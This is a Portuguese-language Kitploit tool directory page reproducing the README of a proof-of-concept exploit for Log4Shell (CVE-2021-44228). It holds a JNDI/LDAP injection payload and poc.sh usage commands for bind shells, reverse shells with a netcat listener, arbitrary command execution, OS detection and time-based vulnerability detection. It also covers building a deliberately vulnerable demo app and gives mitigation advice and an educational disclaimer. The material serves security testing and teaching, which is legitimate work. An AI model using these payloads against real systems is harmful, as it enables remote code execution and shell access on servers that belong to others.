Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-44228-PoC — Exploit de prova de conceito para CVE-2021-44228 (Log4Shell) com servidores HTTP/LDAP, suportando bind/reverse shells, RCE, detecção de SO e detecção de vulnerabilidade baseada em tempo. Apenas para uso educacional. | Kitploit
Ferramentas/GitHubGitHub/thearqsz/cve-2021-44228-poc
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubthearqsz/cve-2021-44228-poc

CVE-2021-44228-PoC

Exploit de prova de conceito para CVE-2021-44228 (Log4Shell) com servidores HTTP/LDAP, suportando bind/reverse shells, RCE, detecção de SO e detecção de vulnerabilidade baseada em tempo. Apenas para uso educacional.

Ver Repositório
há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-44228 PoC

PoC para CVE-2021-44228.

Projeto feito apenas para FINS EDUCACIONAIS.

Servidor de exploração

Este projeto cria dois servidores: http e ldap. Ambos são necessários para que a exploração funcione. O arquivo java especificado é compilado e os servidores são iniciados no Dockerfile. O payload é mostrado ao usuário - deve ser passado para a aplicação vulnerável.

Exemplo de payload:

root@kitploit:~
${jndi:ldap//127.0.0.1:1389/a}

Como executar?

  • Bind shell
root@kitploit:~
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind --remote-port 4445
  • Reverse shell
root@kitploit:~
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e reverse --listener-port 4444
  • RCE
root@kitploit:~
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e rce --cmd 'ls | tee log.txt'
  • Detecção de vulnerabilidade baseada em tempo

Ele suspende o programa por 25 segundos

root@kitploit:~
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e vulndetect
  • Detecção de SO
root@kitploit:~
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e osdetect --listener-port 4444

A detecção de SO pode retornar 4 letras:

  • L para Linux
  • W para Windows
  • M para macOS
  • U para desconhecido

Bypass

A técnica de bypass foi publicada. Exemplo aqui

Aplicação vulnerável

O aplicativo foi projetado para mostrar como funciona. Para construir e executar o jar com um aplicativo, use:

root@kitploit:~
./build_vuln_app.sh
java -jar vulnapp/target/vulnapp.jar 'PAYLOAD'

onde PAYLOAD é retornado pelo script ./poc.sh (ex.: ${jndi:ldap://127.0.0.1:1389/1}).

Créditos

Alguns créditos para projetos e sites usados durante a criação desta exploração:

  • https://github.com/shanfenglan/apache_log4j_poc
  • https://github.com/ivan-sincek/java-reverse-tcp
  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://github.com/RandomRobbieBF/marshalsec-jar

Como se proteger?

Inicie o aplicativo usando log4j com log4j2.formatMsgNoLookups definido como true, ou atualize para log4j-2.15.0-rc1 ou posterior. As atualizações estão disponíveis - implemente-as o mais rápido possível.

Aviso legal

Este projeto só pode ser usado para fins educacionais. Usar este software contra sistemas alvo sem permissão prévia é ilegal, e quaisquer danos decorrentes do uso indevido deste software não serão de responsabilidade do autor.

Baixar ferramenta